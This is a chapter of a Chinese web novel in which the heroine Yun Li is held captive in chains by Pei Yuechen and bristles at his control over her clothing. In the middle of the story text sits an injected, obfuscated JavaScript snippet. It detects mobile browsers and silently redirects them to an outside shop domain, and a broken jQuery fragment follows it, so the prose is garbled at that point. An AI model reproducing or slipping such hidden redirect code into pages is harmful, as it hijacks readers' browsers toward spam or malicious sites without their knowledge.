文趣网 > 其他小说 > 雪满长安道 > 38. 屈辱
    “我看紫苏就不错,你快些和她成亲吧,她就能去京城逗你开心了。”云离立即说道。已经有紫苏了,就不要再祸害其他好人家的女孩了。

    在云离心里,此刻的皱眉君简直就是个淫|魔了,笑得她胆战心惊的。他还是皱着他那对一面向她就要揉不开的眉头、或者干脆板着脸比较好。

    她真怕皱眉君又要她去哄骗别人。可如今她还能哄骗谁呢?他总不会是悄悄看上了忆梅,要把她从虞城哄过来吧?

    她一抬眼,便见着皱眉君的脸又变成了冷冰冰的老样子。

    “我看你也很不错。”裴越尘说:“大人我决定不计前嫌,勉为其难地带你回京城。”

    直到返回京城,云离也没能缓过神来。

    她可不会傻到以为裴越尘抽风看上了自己,忆良从他们手里逃脱,他一定是气到内伤了,但由于还可以拿她当人质威胁忆良,不能动她,才打算带回来使劲儿奴役。

    尽管如此,她不得不赞叹喜好享乐的皱眉君的速度——她离京才几天,他竟然找出来一座还算完整的三进宅院,并且已经修缮齐整了。兴许是怕她给其他人传递消息,从长平至京城,一路上她的双眼都被黑布遮得严严实实的,并不知道宅子在什么地方。

    裴越尘又一次出乎她的意料。他把云离扔进后院的厢房,给她脚上挂了一条铁链,就把她撂在一边不理睬了,只是好吃好喝地供着。

    云离不傻,这不就是之前他们对忆良的法子么?

    可她不是忆良,他们随时能收拾她。就像一把悬在她头上的刀子,不知哪一刻会突然掉下来,令云离烦躁得很。

    厢房内部十分古朴。格局不知是多少代以前的风尚,细长的木窗格几乎落在地面上,房内不见胡桌胡椅,连屏风上的画也干净简单得会被今人嘲笑。

    这可不像总是高调卖弄的皱眉君的风格,云离想,怕是强占了别人的宅子。

    她拿指甲在墙上划满三个“正”字,也没再见到裴越尘。

    囚禁她?

    脚上的铁链很结实,地上系住铁链的铁钉也钉得太深,云离估量了一下,凭她是弄不开的,因此并没有徒做挣扎。

    铁链的长度做得极妙,令她足以在半间房的距离里移动,却始终离门一臂之远,即便门开着也看不到外面的景象。

    饭食里却没有迷药,大概是认定了没有人会愿意像救忆良一样来救她。

    忆良……

    云离捧着脸叹了一口气,也不知他安然回到虞城没有。

    算来分离不过十几日,却像是已过了十几年似的。

    他回到虞城就安全了么?

    云离一直不敢细思这个问题。

    虞城还剩多少人她大致清楚,如今蛮子之患已解,朝廷要收拾区区一个虞城易如反掌。

    好几个夜里,她都梦见虞城被击破,忆良身中数箭,惊得她一身冷汗地醒来。

    侍女夜里照常端了水盆进来。云离自从来了这里,已经很久没有好好洗过澡,只能用水擦一擦了事。

    她终于忍不下去了,嫌弃地看着那盆水:“拿澡盆子来,我要洗澡。”

    侍女低眉顺眼:“此事须得禀过大人。”

    原来皱眉君一直都在啊,她还以为这就是随便捡来关押她的宅子。

    云离一张脸顿时涨得通红,直想骂人:“我洗澡碍着皱眉君什么事了?这也要禀过他?”

    侍女不为所动:“大人吩咐过,女郎有任何事情都得先禀过他。”

    云离心里已将皱眉君翻来覆去地骂了个遍。

    澡盆子搬来了,侍女正欲退出门外,又被云离喊住:“你等等,脚给我锁着,怎么洗啊?这铁链这么脏,我才不要和它一起泡在澡盆子里。你给我解了,等我洗完再套回去。”

    侍女又是低眉顺眼:“此事须得……”

    云离不耐烦地挥挥手:“去吧去吧。”

    侍女出去了,不多时便回来,手上拿着钥匙。

    这么容易?

    云离活动着松了枷锁的脚踝,瞅着侍女柔弱的脖子,心里想的却是她轻易就可以收拾了这个侍女。

    可收拾了她,外面就没人了么?

    皱眉君绝不会那么轻忽。

    思及此,云离只是脱了衣服,沉进水里,乖巧极了。而侍女似乎极为放心她,转身便出去了,许久后才回来,将一套崭新的衣裙挂在旁边的架子上。

    那套衣裙也非时兴的款,高腰大袖,乃是她祖父那一辈流行的样式,云离在祖母箱底翻到过。

    跟这宅子倒挺搭,皱眉君的口味竟然这么老气?

    云离可不愿意穿着一身极容易磕磕绊绊的衣裳:“我不穿这样的,给我寻一套男装来。”

    侍女匆匆离去,不多时带来了裴越尘的回复:“要么穿这套,要么别穿。”

    连她穿什么都要管?

    云离可不想穿这样的衣服:“那你把我原来那套洗干净还给我。”

    侍女为难地看着她:“那件衣服旧了,又磨坏了好几处,已经叫人拿去扔了……”

    云离出离愤怒了:“扔到哪里去了?给我捡回来!”

    囚禁她、管着她穿着也就罢了,竟还肆意处置她的东西,下一步是不是连她动哪只手哪只脚都要管了?

    若非身无寸缕,她便直接冲到皱眉君面前质问他去了。

    “怕是捡不回来了。”侍女撇撇嘴。她可从没伺候过这般不讲究的人,好好一个女娇娘不做,晒得农夫似地黑不说,身上留了伤疤,手掌长了茧子,如今竟还问她要那身又脏又破的衣服。她都不敢碰那堆衣物,生怕上头有虱子。

    若是换成早几个月的云离,约莫会暴跳如雷,臭骂她一顿。

    如今的云离明白眼前的侍女并不是做决定的人,向她发火只会生生气坏自己。

    她平静地看向侍女:“伺候我穿衣,我要见裴长君。”

    侍女替她穿好衣裙,又取了头面来将她打扮得光鲜如昔,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711016|208419||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这才去请示裴越尘。

    脚链自然又给她锁上了。云离安安静静地坐在桌边,耳朵却听着门外的动静。

    她叫皱眉君来,皱眉君就会来么?她不过是个囚犯,而那个人一贯是……

    有人走了进来,下一瞬裴越尘就出现在云离眼前。

    他竟然这么爽快地来了?!

    云离并没有觉得高兴。事出异常必有妖,这一回她可没帮他救回未婚妻,也没替他挡下刀剑,他肯来,必然没有好事。

    侍女没有跟进来,而是从外面关上了门。

    裴越尘向前走了几步,在她身前不远处缓慢跪坐下来,将裘衣衣角抚平才抬头:“找我何事?”

    说话时他的目光将她上下打量了一遍,又皱起眉头。

    “你的侍女擅自扔掉了我的衣服,麻烦拿回来还我。”云离没好气地说。区区一个侍女哪敢自作主张,可她如今的处境这么尴尬,不想在太岁头上动土。

    她不想惹他,他却像是偏看她不顺眼似的,坦然道:“是我叫她扔的。”

    忍住、忍住。

    云离按捺住脾气:“为什么?”

    “伤眼睛。”不愧是她从小就讨厌的皱眉君,简简单单三个字就能气得她想砍人。

    这会儿云离倒忘了,自己对他也曾有过那么一段心怀暧昧情愫的时光,并非一直都讨厌。

    “你又不用见我!”她叫道:“何况那不就是普通的兵服?你日里常见的,哪里就能伤到你的眼睛了?”

    “不见并非不存在,存在即是伤。”他答得理所当然:“兵士穿着合时宜,你不合。”

    云离猛地站了起来,撑圆了眼睛瞪着裴越尘。

    “解除婚约后,你不是一直都无视我的么?”她终于还是忍住了和他拼命的冲动:“你老实说,我哪里又惹你了,让你硬要和我过不去?我改行不行!”

    “不男不女的打扮令我十分不悦。”裴越尘说:“你现在知道该怎么做了罢。”

    她为什么要和他说话?

    为什么竟然还要主动找他来欺负自己?

    这个人一肚子坏水,又性格莫测,她是为什么这么想不开?

    “是我错了,我不该打扰你。”云离起身,步履蹒跚地走回屏风后,脚上锁链拖在地面上,响声直让她觉得自己并非走在铺着地板的室内,而是冰凉的茫茫雪地里,一片凄凉。

    这衣服虽然看着磕磕绊绊,但也不是真那么令人讨厌,先前不过是觉得太过屈辱,才会那么抗拒。

    他们对待她的方式,令她感到自己是个物品,而不是一个活生生的人。她是前礼部尚书的女儿,是忆良的妻子,她有她的尊严。

    现在虽然也屈辱,但明白自己暂且只能忍气吞声,活着的物品总好过死去的人,便不得不放下自尊了。

    要么忍气吞声,要么被皱眉君气死,还能怎么选?

    “其实,也不是不能还给你。”隔着一道屏风,皱眉君的声音凉凉地送进来。